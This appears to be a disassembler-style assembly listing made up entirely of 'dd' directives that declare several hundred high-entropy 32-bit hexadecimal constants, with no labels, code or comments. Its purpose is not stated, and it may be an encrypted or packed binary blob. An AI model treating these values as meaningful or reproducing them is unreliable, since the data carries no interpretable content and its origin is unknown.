		dd 31CB403Eh, 0C14E9F4Fh, 8939DEB4h, 2085B6Ch, 54F67FEDh
		dd 95D18DA8h, 290B3B83h, 582B2728h, 0F8DDDC54h,	0B58A7DFCh
		dd 7ED9B8BBh, 0F1B95073h, 3D3D5910h, 0C14DF538h, 3E6D5090h
		dd 8717717h, 8535E740h,	4229290h, 37B12DBBh, 0AB6CC074h
		dd 3117361Fh, 89FF52E9h, 0B4A93E3Dh, 9740E9B0h,	8063F39Fh
		dd 0B36684BEh, 0F7133173h, 4304475Eh, 20ACD490h, 0EC586884h
		dd 34EF5B82h, 8BCFEA35h, 24784510h, 0F925535Ah,	22DDAF9Eh
		dd 9DA51F7h, 8FE17682h,	0CA066B0Ah, 1E0A0FCDh, 0AFF15DEAh
		dd 3064ACC0h, 0BFF354D7h, 6050C502h, 61F77C5Eh,	844EDF2h
		dd 272DB4ADh, 0C2B15705h, 385216DCh, 5CC0F304h,	92AE0B29h
		dd 0FF02C1EAh, 9246F39Ch, 517CAA5Ah, 0CB805EA9h, 3EC84574h
		dd 0E91D2CCFh, 5738F493h, 0AA22EAF7h, 7DC34048h, 875B2D3Ch
		dd 7727FF7Ch, 0E9D14101h, 0BCC22BFEh, 73B3555Ch, 0CE54E7EAh
		dd 0D0388F6Ah, 3217A03Ch, 41E873B7h, 7F02C20Bh,	0B25600F7h
		dd 254E9418h, 0B0C2B0E9h, 0B5A7EEF5h, 0AA4A5EE4h, 1D3C1890h
		dd 0BE994B54h, 91970E8Ah, 9EFCF5h, 5540B8h, 83B91167h
		dd 315CAA42h, 543035B0h, 0BEEAB313h, 0D7A02F0Ch, 5C95FBDAh
		dd 12B8CE6h, 3A0CCE27h,	0C3D6164h, 670D1313h, 0BC1A087Eh
		dd 0D6EE680Fh, 3779ECCh, 5975BA47h, 0D1673BEh, 0BEE2CE31h
		dd 12D3EC97h, 28215853h, 3039D14h, 9862A28Ch, 4FD4E943h
		dd 9825FE91h, 7EF8382h,	0C75051BAh, 0ABD07F4Eh,	2DA81BEAh
		dd 0E2708A46h, 5E56452Ch, 7D49C22Fh, 2EC68C41h,	0D44F7CFCh
		dd 94D1FB2Bh, 57391F06h, 4304EE07h, 0D0A9BF2Dh,	0E30B5772h
		dd 156870Dh, 0D567E884h, 0B1CD857Fh, 1A5026F4h,	7575FEE2h
		dd 427F2909h, 0C7E9605Dh, 4C2B16AFh, 16D1BC28h,	63D08DADh
		dd 7B7BD3C3h, 3BFFA4h
		dd 568A3543h, 0F71F344Fh, 709D0DD8h, 362D3B00h,	0BCF4177h
		dd 37E9C589h, 7C5FD342h, 1E978238h, 0D1F46410h,	8308E20Bh
		dd 9BC9B829h, 0D729E24Ch, 32590529h, 0A0BD762Dh, 22477F94h
		dd 5D5A5263h, 8BE9D403h, 35B00177h, 1C0E3A6Bh, 0B8B07B31h
		dd 0F4814E9Fh, 0AB5E3374h, 0C8B88E32h, 0F3E8281Fh, 0D6191E7Ah
		dd 68D881E0h, 0E548F653h, 5280A2AFh, 0F86A50B6h, 0C8298069h
		dd 50E10506h, 303E1941h, 8071AF3Ah, 2C3977C2h, 58DB3A26h
		dd 4D01DE1h, 0F0E97839h, 3C417BE9h, 0B914C52Fh,	89BF27C8h
		dd 0C3C7751Fh, 0F4FA5512h, 0E648894Fh, 79280404h, 93C04E52h
		dd 0A2FA0BFDh, 28C0D7CFh, 0A72D92D0h, 2F87D2E6h, 54513D08h
		dd 81E4DF6Bh, 0CB9AF390h, 0DA0554Eh, 0A981D40h,	14F7CB4Fh
		dd 2E92B5Dh, 412BBC0Eh,	0E27B6E6Bh, 395E04B9h, 46C060B3h
		dd 12913B9Fh, 0C5E1C12Dh, 0F1070056h, 38056E3Eh, 2280E4EDh
		dd 490C9A18h, 3E69A56Eh, 3ECC79B6h, 6674AF0Bh, 0C96CE2F7h
		dd 0D47B63BBh, 0BB9184A9h, 0E9F07BB8h, 2AD264C5h, 0F8D287A9h
		dd 9D05A582h, 0E6AECFC8h, 4E169256h, 4E86BE86h,	6B98F1F1h
		dd 14C9B3B7h, 542C33F8h, 0FAE0CF58h, 7531803h, 7C99E681h
		dd 925DE908h, 1138E36h,	0A067E902h, 29138A3Fh, 0F017E564h
		dd 857571EFh, 70D86A20h, 75965E3Fh, 11213CBh, 9D7E8F12h
		dd 58D84018h, 0CCA8AA76h, 12FFD34h, 2D7356E5h, 0FAD8279Bh
		dd 4195ECE9h, 8266BE8Dh, 4E277500h, 6D6CE901h, 2BA16C5h
		dd 0ED5BA4F2h, 19784DD4h, 0D753941Fh, 3FACE12Eh, 254BDB07h
		dd 6BE90F60h, 0C9F9B523h, 0AF7DCF0Ah, 40C38062h, 0AA96DE89h
		dd 0CDD25D78h, 447F4895h, 0A27AE176h, 0B161A47Bh, 0B087F101h
		dd 0B62334Ch, 0F808B87Fh, 61FFC11Dh, 6E06FB1Ah,	0A25D6683h
		dd 42DB89D8h, 7280DC25h, 7F11C2D7h, 84692A71h, 2E8C4D33h
		dd 0EEEFD75Ah, 0E9530E91h, 24B7F6F2h, 0EF9A3B77h, 80573266h
		dd 0B80A8498h, 0AF53599Ch, 0CB68FA01h, 422D585Fh, 0F1565B06h
		dd 0B5D5E16h, 7F44A98Bh, 520E6B8Fh, 0C4502BC4h,	65CAEE98h
		dd 0CDCEBA96h, 6428BE5Bh, 1B3B5031h, 0A33516F0h, 0EAC7137Bh
		dd 0C5DE3362h, 0B7A2A7C2h, 5A00EF71h, 97E4C580h, 6A89AA41h
		dd 0C00FC7ECh, 0B24005EDh, 51E28084h, 841506CFh, 0EC1F04EAh
		dd 7748258Ah, 6412C4E1h, 0E08760C7h, 8067F562h,	0B0F89AFEh
		dd 14C5F8E0h, 0CF30485Bh, 5026F010h, 2D05C858h,	0E5C4119h
		dd 4DB8DFC4h, 2E15995Ah, 0DC86F235h, 0F75D5BBFh, 0DB9D7F00h
		dd 2E90572h, 3BCFAA18h,	0BD16BE5Ah, 4D69CDE3h, 0DDE4AED0h
		dd 385C0580h, 1BE323Dh,	0B0161D48h, 0DC8C215Bh,	0D657C281h
		dd 9985CF6Ah, 8B67F961h, 0D4F0A9C6h, 28051D73h,	906A1791h
		dd 0CEDC05EAh, 0A157EC46h, 75D24F29h, 6805646Fh, 71FB4F35h
		dd 0A85A3230h, 832D1A70h, 0F7651090h, 556815DBh, 7E2F9317h
		dd 8018E389h, 93BE822Bh, 3EFF6E6Bh, 10283AA4h, 40021DA3h
		dd 0B24F0525h, 169E183Bh, 292D6807h, 0FC739864h, 6088E509h
		dd 5216221Dh, 5416911Eh, 13BA72A0h, 0BB15312Ch,	0EA222D04h
		dd 9277ADAAh, 0E99B61BBh, 2E4C75EBh, 94B988F0h,	0CED425FFh
		dd 80745758h, 7AEEDFF7h, 530E5560h, 27155968h, 0A5F632B1h
		dd 0EEC5E964h, 5E3B44Eh, 0FAB637h, 84F7C426h, 0DE2C09E2h
		dd 0FE073E5Bh, 0C2CDF2Ch, 0E74A1313h, 5C8F24Eh,	645F50D9h
		dd 5BD0B4BBh, 5F95B4A4h, 0ED5D798Bh, 0EFD72523h, 20EBAA1Fh
		dd 0BD03C49Eh, 20F341C5h, 18C3DF29h, 0F2650297h, 1743595h
		dd 0D3559080h, 1DB1DB38h, 9C1DCF13h, 0E4D09860h, 4904B4E1h
		dd 2F92525Dh, 0D0D951F9h, 96E1B88h, 3D68F2E9h, 541C2CEAh
		dd 24BD6A5Fh, 7002CBDAh, 60715B6Fh, 27246718h, 0A1D71D0Fh
		dd 987E9DBh, 0A9313E93h, 8FBF977Ch, 0A6B84B97h,	38E601B2h
		dd 0F4685C12h, 0F3EAA485h, 0DF53DA04h, 44922636h, 0CF40355Fh
		dd 6A3D6852h, 62EB223h,	0BE9FFC2h, 6C41C15Bh, 0A0553DE4h
		dd 1637B0A1h, 0A958C688h, 5AF089E4h, 0CBF931C1h, 78C9FE2Ah
		dd 0BE98749Eh, 0A641F13Fh, 85A432D3h, 0B7517950h, 3FF04C99h
		dd 50D2A587h, 1B7AFDD4h, 0B0A8EB97h, 0CA272518h, 1DCA0616h
		dd 371E01A9h, 8259CD31h, 69A1EA24h, 75E277BAh, 0D30F6D64h
		dd 377E3C7Dh, 3476CFFEh, 9DBA1936h, 3C526B43h, 5712D5B2h
		dd 87F6BB53h, 78E0709Eh, 364CF910h, 128810B3h, 0AFC33D7Dh
		dd 8058D11Dh, 0F2DEFCBh, 0B826E93Ch, 8F48B8A9h,	0BD6FF2AFh
		dd 21B7EFD8h, 2802959Ah, 95DF9CA8h, 0ECB52146h,	68F84092h
		dd 4613D027h, 20033D0Ch, 0E1BD6F81h, 2A7F0D47h,	0A7E9E805h
		dd 0EBA0B5AAh, 18514B32h, 6BE5D782h, 98A35217h,	424900D2h
		dd 0E9792D20h, 0F0B09F2Eh, 6409F09Fh, 1DB62F0Fh, 3BB907A0h
		dd 0A2257466h, 93A0584Bh, 78A222F6h, 0C2E9C34Eh, 9762F389h
		dd 99CFC5Fh, 0B5F8EFC1h, 4532780Bh, 8A2B8021h, 12E8C70Eh
		dd 0FB9E5EE9h, 1B13C6A3h, 9E22EBADh, 68364156h,	0B28A406Fh
		dd 8732CF3Ah, 0A4FDE7Dh, 78F54990h, 0AA9226DFh,	7A603A1h
		dd 0C055C71h, 31DB0E23h, 8BD50EFh, 0F140C68h, 4A78BEE9h
		dd 0F37E8746h, 0A212A5E4h, 0B9B1A947h, 133F1D61h, 0A7C4F894h
		dd 757A06E2h, 0AFC11593h, 0E18C2F8Ah, 0FE790BB5h, 80DFF6CDh
		dd 0EA88E4FBh, 68660959h, 685D2DD7h, 95BE8A7Ah,	0A1BC784Eh
		dd 0A5AD256Ah, 3CFA5294h, 344DE951h, 0DACD4A96h, 0BC5B4293h
		dd 7F712A1h, 0A431D488h, 6137FAE5h, 0EF8084BDh,	646EE0D1h
		dd 4BE411BDh, 0CEFC2375h, 0E6C01D42h, 54F68B02h, 62256256h
		dd 0BB338722h, 0DD75221h, 4BBDC440h, 0F600B561h, 4E797AF8h
		dd 5221E91Ch, 6B947727h, 91480CFCh, 1FD382CAh, 0B93D616Ch
		dd 0BEC3C56Bh, 0A37FE99Dh, 3408D33Ch, 0AE3501D6h, 0E80A7366h
		dd 1DBB89B7h, 0E2232C02h, 5B26C15Ch, 0F3E9068Bh, 2C567AACh
		dd 6F167595h, 753FC20h,	7A221AB9h, 0AA38A57Eh, 10A22CB4h
		dd 4A2E6751h, 281CE50h,	0C1F5F35h, 0B7A5731h, 4B97D277h
		dd 659648E8h, 0EA50F212h, 0BA4AD9F2h, 0DC829524h, 33446A2h
		dd 6E1D6857h, 8FF13B0Ah, 0EA6F8FB5h, 17098FC5h,	59978506h
		dd 0CBD29DB3h, 30E112BDh, 0BD55A6h, 0B465B3Bh, 0EB6DC6BEh
		dd 0CDBC4C5Bh, 5D10012Dh, 0B69950A1h, 26E6F3ADh, 82DAB2A9h
		dd 0FFEC5105h, 55ECEBC0h, 0D49779A2h, 840820EBh, 48C52089h
		dd 4D80DAC4h, 945FE1CCh, 2818897Bh, 5012F3CEh, 29AA5854h
		dd 0BDED2E61h, 771D1880h, 2B5FE917h, 0CEBF440h,	5CA542E5h
		dd 0AE17E409h, 0E0A6C9F6h, 10C9A845h, 0E1BF3358h, 0D9815496h
		dd 3EB52BF6h, 6F922F23h, 13A35457h, 5417AF51h, 0AE5AE5CBh
		dd 0FF55B92Ah, 4832CF2Ah, 0C4AEB5F6h, 3AA4F10Fh, 6556718Bh
		dd 1998F10h, 0E23B34BAh, 0A42F4A43h, 9D0CF2A2h,	0C79CC1Ch
		dd 0AF70576h, 0C2D629EDh, 0DD2932ABh, 0C00F8F3Ah, 0C24936E5h
		dd 3D87C32h, 2DFF595Fh,	0C4A03CB6h, 0FE07B638h,	0C5E872C1h
		dd 1A34187Fh, 4F06735Bh, 872DEA29h, 0D4F6A480h,	0D701F5F9h
		dd 0DEC9D29Ch, 0E9255602h, 0AF01E3FAh, 0BF7E4FF6h, 5359C079h
		dd 52C6BE92h, 101BF7D1h, 0BD030BF6h, 273C6F59h,	0D4ACBD2h
		dd 22E036C0h, 0DA661F28h, 578ADF4Eh, 920DE84Fh,	0F82F087h
		dd 0B03B5D13h, 35491DD9h, 92C4DB5Ch, 0BE405257h, 5C244089h
		dd 9F023675h, 0F78AA3BFh, 9DE2E422h, 0E02909h, 0CD43DCDFh
		dd 0DE529D35h, 2D97CB05h
		dd 5AE1B6Fh, 0E07FCEF7h, 390AF351h, 0E510D775h,	69DC4600h
		dd 6A7FE934h, 88E8C987h, 581732A7h, 0A6C0A9C4h,	25D5AE4h
		dd 0FBB85013h, 0C363677Bh, 617EFBE7h, 680BEE14h, 0DE27170Ch
		dd 8A6CC2B0h, 2D0106D9h, 5A2F2158h, 0A305B370h,	2E91A807h
		dd 803F5F69h, 226C5DEEh, 61F78102h, 0EA1D530Fh,	1F4D55CBh
		dd 1D53C508h, 1B328B4Bh, 696CB022h, 0C895859h, 95F11610h
		dd 0C152EFFCh, 692D7C6Eh, 7BFFF95Eh, 29782F33h,	55F8BAD3h
		dd 51F5A1E2h, 34FFC9A0h, 855C4D81h, 3E96FE40h, 4927B57Ch
		dd 2D150357h, 5C30422h,	0C82C475Ah, 0DD4A1EAAh,	0E1D29AE8h
		dd 459B0071h, 474A046Ah, 0FBDE25EBh, 5F5DBBE4h,	0E322BB52h
		dd 4BC2AFD0h, 0ABD853h,	0F7C67BFh, 0DCE78163h, 0F22F4937h
		dd 40792C49h, 90924B20h, 463F3412h, 9EA4748h, 4543EEh
		dd 5436E21Bh, 18256385h, 65FA4B17h, 0E90B6E7Eh,	5690E1DDh
		dd 0C519A98h, 1F09CCBDh, 7E296295h, 0E9D3A763h,	0F862E9C1h
		dd 5FA66Ah, 3872DD05h, 51D00173h, 2D2A072Dh, 5E067456h
		dd 0E0C18EA8h, 0F6B78B7h, 69CB7527h, 0AA6104C4h, 0DEE834D9h
		dd 96A0BD81h, 305907B3h, 252DE0A0h, 0E974520Bh,	0D070E314h
		dd 4ED61699h, 81138019h, 5E1DA0C9h, 60AE44D5h, 3EB9B504h
		dd 7222D0FAh, 78614539h, 2110AA1Ch, 0C896DFE6h,	66F02013h
		dd 0FE9134BBh, 7FC6BC62h, 935F7C44h, 4C9DC344h,	0BD941012h
		dd 4BC49A10h, 465EC007h, 7DA898A4h, 0BC72AB5Ah,	0AF5C7555h
		dd 0B03F9350h, 42BB0B5h, 0A34B2CCBh, 0F7A9BA49h, 0E0F1A705h
		dd 0D281EB12h, 9D3A29BFh, 87BD7BE7h, 2DCBA14Ah,	6FA780EAh
		dd 4EE94068h, 0E8901647h, 720D0096h, 2D4F5745h,	141F0FCAh
		dd 98CDE92Ch, 0D20E3B24h, 6D1D678Fh, 9545DC2h, 7E480AF5h
		dd 4149BD9Eh, 0CD0A0039h, 0EC33A9Ah, 771AE932h,	29C9AA12h
		dd 5471D230h, 6BFAA32Ch, 1E5D404Bh, 0E90CC271h,	51D5F661h
		dd 0E902E016h, 53BA56EEh, 0F4032097h, 0FC72613Eh, 0C3454DB6h
		dd 0F1FC2C13h, 0D975D2A8h, 4FF216Dh, 0EA1E9C68h, 402EB831h
		dd 3BADABBFh, 0B8598B46h, 61AB5A6Fh, 5EA6193h, 0F06AEDB1h
		dd 5A4107DFh, 1A6CDF40h, 7CCB045h, 0CE6165EAh, 7DC2C13Fh
		dd 3467C9FAh, 2627E923h, 2019DA85h, 34C55837h, 0C7BAC518h
		dd 9C7C485h, 226165Ch, 0A92CD1BBh, 0BCDC4B2Bh, 69637D02h
		dd 61895D18h, 0BBC97957h, 0EA23FE5Fh, 87ACF157h, 0D1091282h
		dd 0BA80415Ah, 4D48F834h, 390DF497h, 916B5B81h,	7C9FE978h
		dd 7C88259Bh, 9238726Ch, 92BF8240h, 4880FD4Ch, 21706452h
		dd 0F2A8DA4Ah, 3A5E4D04h, 150BC54h, 74607BF9h, 50C8F581h
		dd 0A86F5A4Bh, 2C904A2Ah, 4EACFB2Eh, 4B08E863h,	0CE0500EEh
		dd 0E9169E67h, 8B51F737h, 964278E0h, 7E2CB845h,	4B052508h
		dd 79A6A8D3h, 0CE3AC22Dh, 0BF6297A8h, 9B70947Eh, 0F8058059h
		dd 67701D1Eh, 0BABC893h, 38D75C5Ah, 486F683Ah, 1ED6372Dh
		dd 2EDE99A6h, 61CC2101h, 0E7984163h, 80BA0010h,	750D0721h
		dd 0D242DAF7h, 9C756174h, 0EB891766h, 0CEBFC05Dh, 34130A38h
		dd 0CDFEDA31h, 53ED7F0Bh, 22E3EFD2h, 8A9D9D96h,	0EF5D6F98h
		dd 0BF7FD558h, 68E2257Ch, 56665D06h, 4D1791F0h,	6E641F60h
		dd 0AA3A4BBh, 41257A02h, 775406E9h, 8FF27498h, 976A7FEh
		dd 7DF6ED06h, 10C06DAh,	6A675F83h, 2F64DBE9h, 45C27AD4h
		dd 54D57E04h, 0B0E924FDh, 0E102525Fh, 0F0080Fh,	6D2CD0F6h
		dd 77EB8002h, 444F27E9h, 7C280BC9h, 98FD3B19h, 2FE94836h
		dd 599A25A8h, 0A38AF002h, 6A7F71FDh, 2CE95829h,	4A44D897h
		dd 0B454FD58h, 4A95BDC8h, 35DF4C2h, 51F68102h, 0DD7F5712h
		dd 0D04CC001h, 0A0E76B61h, 0F3148714h, 4B5BDFD0h, 0A87FEEA1h
		dd 0AF12A842h, 51C7A4BAh, 2FA7B13Bh, 5D1475C8h,	998AA791h
		dd 0F769F90Bh, 3AD4C182h, 8FDB800h, 0BD3C026Eh,	2A345565h
		dd 3F6505FFh, 197DE1AAh, 5AF86AD7h, 0AA20FF97h,	0B58864E9h
		dd 0AED50029h, 0B0C5C5AFh, 851D7D84h, 73241782h, 0A44AD52Fh
		dd 40C080Dh, 0A7B81D14h, 0A52CE1CEh, 0D880ECC1h, 22281A25h
		dd 77E235h, 563DE61h, 0F3410A62h, 5334039Dh, 0F58F021Fh
		dd 25F74C2Ah, 0FD455569h, 0BB1134C0h, 0D17FA404h, 2DAC8950h
		dd 5E2E9B3h, 44F52DEh, 0CCFA2290h, 159A4585h, 0DD295C25h
		dd 191DD918h, 48C399BFh, 0AA560BC6h, 0B7C6CF6Fh, 0D527911Ch
		dd 0E927693Eh, 2C97FAFDh, 0C93447BFh, 0A682A559h, 5F7D4F65h
		dd 8201ED4h, 0CD303A91h, 95505868h, 8269AC66h, 0B51DD73h
		dd 39B0B7C4h, 9A8B804h,	0BDB353D8h, 3323C607h, 0C20BCF3h
		dd 0DDDA4863h, 0ADF8A42Fh, 96A5CB5h, 0C95E5856h, 1184A78h
		dd 8ABE79E7h, 2B0E78E5h, 0E90BF3EDh, 0F7E8DD9Ch, 326913Eh
		dd 901600EDh, 28208CABh, 77535840h, 40B92D52h, 172425Eh
		dd 0A698B6B0h, 0C3EB0C80h, 292D7306h, 0AD27E9ECh, 2056946Ch
		dd 58766A7Eh, 0D0854B4Ah, 49DFE0EDh, 0F479326Ch, 0FD4B9789h
		dd 0F7A2369Ch, 1FD1F642h, 3B33562h, 8088B450h, 285CE1F4h
		dd 0BD431038h, 16F16424h, 6398FB02h, 0B9D85A68h, 4A738403h
		dd 1D2515E3h, 98C029DCh, 7E0AD56Ch, 0FCF2B4Bh, 3A7101CBh
		dd 2040438Fh, 0EC7605BDh, 0E9A05C0Bh, 2F45D404h, 5CBC5F4h
		dd 0CCAEBE42h, 68496B43h, 528701E7h, 0EE011298h, 0AA25B669h
		dd 23F7D809h, 0D95E5FBFh, 0D93913A4h, 0D8E45725h, 19590932h
		dd 0B4B604Bh, 2EFC0918h, 0DF16D889h, 60E3FB0h, 6005370Dh
		dd 5CDC3533h, 1B0E6F87h, 0F4DE0B16h, 5BA30540h,	0C48BB30h
		dd 3EB35E03h, 0D8480113h, 0A506BF01h, 0F8562D6Eh, 353A4FC5h
		dd 25899E8Bh, 0B5A2DF81h, 0E57B2927h, 0EB2604DDh, 0CC4F28F3h
		dd 0B840AE04h, 0FCCE7789h, 2C5EBD4Fh, 37693159h, 8419E916h
		dd 0C4E081AAh, 0E041806Eh, 214BF57h, 8153002Eh,	0AF3AE5CFh
		dd 0CD2AE929h, 501E9833h, 0BD668CB0h, 0B02FA25h, 1F803C74h
		dd 0BA1BC090h, 9010E69Dh, 0BF695BBBh, 49BF2267h, 0B3B222DCh
		dd 0BC5141EBh, 17A7D121h, 0E91757BEh, 0BD448037h, 14495E3Fh
		dd 0BE6285D1h, 521F5C10h, 50025E5Eh, 0DF76D73Eh, 0BBE80059h
		dd 5215EA94h, 5F21CBB4h, 9FB388C4h, 1D4D8D13h, 1704958h
		dd 12B969Ah, 0F666855h,	3BBE718Ch, 0CCBA63C4h, 2B2CE9A7h
		dd 83404027h, 0B03DEF2Eh, 416E5F27h, 0B6577CE7h, 7117068h
		dd 0F502D12h, 35CB80EFh, 16097A4Fh, 32237DE9h, 4AF446C8h
		dd 0A112EEEEh, 527905BBh, 4E89E278h, 3E4C8DC6h,	362C5B62h
		dd 20F3207Fh, 5CBF6CC0h, 0F9340A7Eh, 66020A1Ch,	1DFB16E8h
		dd 0F6589AE0h, 34760E42h, 0C0460350h, 43CCEACDh, 2ECB39E8h
		dd 0C8F5C245h, 0D89B1523h, 0F8F00EC1h, 8B4FDC95h, 457F5DEAh
		dd 0D07A2FC8h, 0BDE2F09Fh, 8CBFA9B0h, 58605D81h, 0FFD39773h
		dd 5641C2A7h, 8422E9A6h, 18D55E12h, 804B5A4Ch, 5C7F14BBh
		dd 1568521Ah, 2C43400Bh, 1969188h, 72340D2Eh, 3BFABFC1h
		dd 0BBBDDAD8h, 1C45EAF5h, 85176CB3h, 68F3E5D0h,	41B62D2Eh
		dd 0EB5145C1h, 8002E50Ch, 4A6BDC3Fh, 0A84D07Ah,	214F5815h
		dd 6605DFFDh, 0B0C397C1h, 0C709893Ch, 226879E9h, 0DE6B30AAh
		dd 87DA6BFBh, 951BB13Bh, 70E09159h, 0AFEE10FBh,	22460639h
		dd 1208E6C1h, 0FBB9B609h, 4D8F776Fh, 500BD288h,	43675D54h
		dd 1875E904h, 0F253568Ch, 4E079DB2h, 0BFF69E5Ah, 0EC5CF10Ah
		dd 0FEBAECADh, 65C66566h
		dd 67D5BBB8h, 688C80FFh, 669547A2h, 20AF029Ch, 71E9605Dh
		dd 0E0F4AFCAh, 66E8ED8Bh, 394AFEh, 7B742DF5h, 0E3B53783h
		dd 7342E951h, 3024DD7Ah, 16C06B07h, 86300BBFh, 0E781033Bh
		dd 0E75145Eh, 1098F7B3h, 8FB50A04h, 7F48A98Bh, 6EF82094h
		dd 96ABF4B7h, 8FAA5748h, 75B64F83h, 16572127h, 773DA25Eh
		dd 8A892454h, 3FFA6555h, 0F53823A5h, 74AAC662h,	0BC8923D6h
		dd 0FECACBh, 5ECEF2F9h,	7407621h, 853055E2h, 41E1CF57h
		dd 9F4EB07Eh, 5693E92Bh, 0F23811ADh, 31683305h,	6160EFFEh
		dd 5E7B37EEh, 3AFAA838h, 37785D7h, 46D9CC68h, 2934B940h
		dd 5A753031h, 0FEC406Eh, 56AC944Bh, 0A64DA71Ah,	28365E55h
		dd 77CD097Fh, 0B8807B72h, 165241A6h, 22ED495h, 0A3633E2Bh
		dd 8912F35Eh, 0B7406EBDh, 0D24E042Ah, 94D9E936h, 2F52F567h
		dd 0BC477EE5h, 5AD04Eh,	2465F15Fh, 55B8F22Ah, 0CD98FD95h
		dd 6AB567DEh, 1FC62C3h,	181D5188h, 0C25E77CEh, 621BB286h
		dd 0C4D14C30h, 0EF874E71h, 7F549162h, 9305DD1Ch, 454E4C73h
		dd 1033182h, 803227C7h,	66AFF50Ch, 31E90697h, 0D5B751BEh
		dd 1B288345h, 0F1D49A79h, 80380F83h, 7A6591D2h,	71AE5787h
		dd 2A0C6A68h, 411F9ADCh, 0A4922E82h, 2557741Eh,	0A14FFBF3h
		dd 12307BEFh, 95E09688h, 0F5D5B09h, 43D624E5h, 95FB6BD4h
		dd 6E8B804Bh, 4C181B6Ah, 0FDF8CB01h, 7A222F08h,	9D6D68E8h
		dd 0E0C9C62Fh, 9F525954h, 728B3359h, 0CBD3D11Dh, 9111CE5Fh
		dd 0F2E905CBh, 0EB1CB497h, 0C761360Bh, 0B244DD0Bh, 5D25E913h
		dd 89DF22EFh, 0C8FFB7Dh, 0F5694705h, 0C61CC706h, 9D245568h
		dd 9A89ED7h, 58E9E6D1h,	501637D4h, 0EA5E41E6h, 2E290539h
		dd 0C1899D2Dh, 0D8F56357h, 0E7DBEF80h, 58FE0CD8h, 7E37F0CFh
		dd 1EC77634h, 0FD263C7Ah, 9E40AED1h, 1615B57h, 0A2209905h
		dd 3C94E944h, 0C3800BD4h, 0BA6F0577h, 13435688h, 0FE63E006h
		dd 34E5A620h, 0EE7C4AC4h, 6080FC01h, 0C3F87075h, 9AEE9A84h
		dd 7CC9F6Dh, 84FC345Ch,	44B229Bh, 149666D9h, 9DC302B4h
		dd 9FD94A9h, 5EDD0022h,	90E90116h, 0B73CF8D4h, 0B480E759h
		dd 58E30854h, 0BBDB4BF6h, 18DEB597h, 97C8308Ah,	0E9279055h
		dd 9A1B49A6h, 5DCDB32h,	0C56AEF00h, 47C1DEC3h, 504A9DC9h
		dd 33846856h, 7C9A97h, 9A73D3A7h, 61BF056Ah, 0EFA7FE02h
		dd 0C4FA9484h, 10CAF8C5h, 0C8609194h, 502E5933h, 0FE42C6CBh
		dd 0BC8B65D7h, 5A56095Fh, 5C2D65Eh, 0E31CEB68h,	53501078h
		dd 0DBF2Eh, 0CF81446Eh,	0F3771954h, 0DC76CB5h, 0D332FF17h
		dd 25053F93h, 98891962h, 0D23ED321h, 1A7C5985h,	1F121069h
		dd 47A6943Ch, 0E020945Bh, 0FE0ABBC4h, 0A009BE06h, 0ABCB8100h
		dd 90587A3Ch, 6A601309h, 31C1A0EFh, 3EAC262Eh, 7D84400Dh
		dd 40542A60h, 9BE75387h, 0E24A5BB0h, 288A5EE6h,	8ACA67E8h
		dd 0BCD55D1h, 0E6205AD9h, 1F193499h, 35E0505h, 0AE00652Eh
		dd 2BDF257Ah, 138CB821h, 34AAFFE9h, 66F1EED9h, 0B2D2EC2Fh
		dd 0ADE2E55Ah, 40E6927Fh, 4018AEFh, 0B4E91EDAh,	990EBCFCh
		dd 1534A738h, 0C3B98FAh, 2E75977h, 0D89473F4h, 7D39ABADh
		dd 464EAD82h, 5F158EC0h, 623C7430h, 495312B9h, 0E67F1F09h
		dd 0E31F1306h, 1AD0717h, 4C78AE1Ch, 0A92F6EBFh,	617CA50h
		dd 0B1E5F08h, 83C0B58h,	21E5BEDEh, 7EDE5AC1h, 0AFF4652Eh
		dd 215116F2h, 0F515FD2Ah, 0AEC494A2h, 68178C6Ah, 0C5D1085Ah
		dd 0A2079A95h, 5CD45DF7h, 48A79069h, 38CEB7F9h,	6B4A93A1h
		dd 0F190F113h, 5E2809B5h, 58CCC3EBh, 0B951009Ch, 0FEA32B1h
		dd 41D9F70Fh, 153EC5h, 0FA300247h, 0EA3F805Bh, 7BF57593h
		dd 5203B0A6h, 0D2F6C288h, 8277D0A2h, 7A6750Fh, 57636251h
		dd 8C0380DAh, 29022ED4h, 302815D1h, 38785E68h, 0EB4E1FEAh
		dd 0F73EDE29h, 13BBD561h, 4BC5342h, 78A1729Bh, 0D6C9D7D4h
		dd 79CA285Ah, 0B92E4241h, 0EC872AA7h, 0F5DD5153h, 250D8BBFh
		dd 9F6951B8h, 0FBD912C3h, 8473EF8Ah, 63F0585Fh,	11506BB3h
		dd 0C6F569A9h, 5D952A5Ch, 0FFB95E79h, 7AAE3B49h, 98F20B4Bh
		dd 0E4DC127Fh, 0CDB14302h, 8F5AE13Dh, 5806AD4Ah, 457D4A68h
		dd 75D7B92Ch, 0E00BF640h, 2D487C2Fh, 0A0F25EB5h, 1928A120h
		dd 39062D68h, 0E6D32FC4h, 9EBE9056h, 0DF70D922h, 54D9D85Ch
		dd 411599BFh, 0C58100D6h, 442F883Ch, 0C13DEE8h,	0C61B8F77h
		dd 1F12B77Eh, 44FE5A61h, 0BF3E6069h, 7A09DDDh, 0A37BF5h
		dd 0CA810BE4h, 53223E30h, 0DA96815h, 3488939Ah,	6DF060CCh
		dd 123888E3h, 0D876648h, 76AA3D79h, 0DF00F06Ah,	0D0EA5B4Bh
		dd 51B466D6h, 0F3E9921Fh, 0B9E55B33h, 0BC7E57E3h, 0DC5CB218h
		dd 0AE02E5D8h, 9C9364D1h, 0E9053696h, 5E826BA3h, 6056B2AEh
		dd 2533657Dh, 2A251877h, 9193B66Eh, 2A473E01h, 5B9FA67Eh
		dd 47F71F7Dh, 91FA168h,	685D5157h, 0C2534457h, 0FBFD4EC4h
		dd 52069673h, 19E0EA11h, 8C164E96h, 6404D94h, 2CEF7068h
		dd 1182408Ch, 0C6801760h, 49092505h, 105CA7EFh,	66279EFAh
		dd 81EA07F2h, 0E1F26C4Ah, 22BD4119h, 0C005325Bh, 462334B9h
		dd 0AB094876h, 31E3192Fh, 0D024CCE3h, 8911982Fh, 0E43EE03h
		dd 0CAEA2676h, 174E6EAh, 18B36841h, 4D655C2h, 41D701E2h
		dd 0A3325302h, 95324E04h, 9788AE06h, 99270C04h,	3088894Ah
		dd 0E2F43F41h, 0E36312D7h, 0A9B60077h, 0E917252Eh, 7407994Fh
		dd 0B4AAC168h, 0B975888h, 0EE54DF01h, 56BB0B49h, 3CD0591Ch
		dd 895C2411h, 0AD36FD02h, 0B5D75A47h, 7D95FA52h, 42F541A5h
		dd 40478F8Eh, 803B4841h, 3181D16Fh, 4A6B0616h, 0AB001274h
		dd 0D29313F3h, 66F70D3Ch, 5F0AA20Dh, 67D56A09h,	68684CB9h
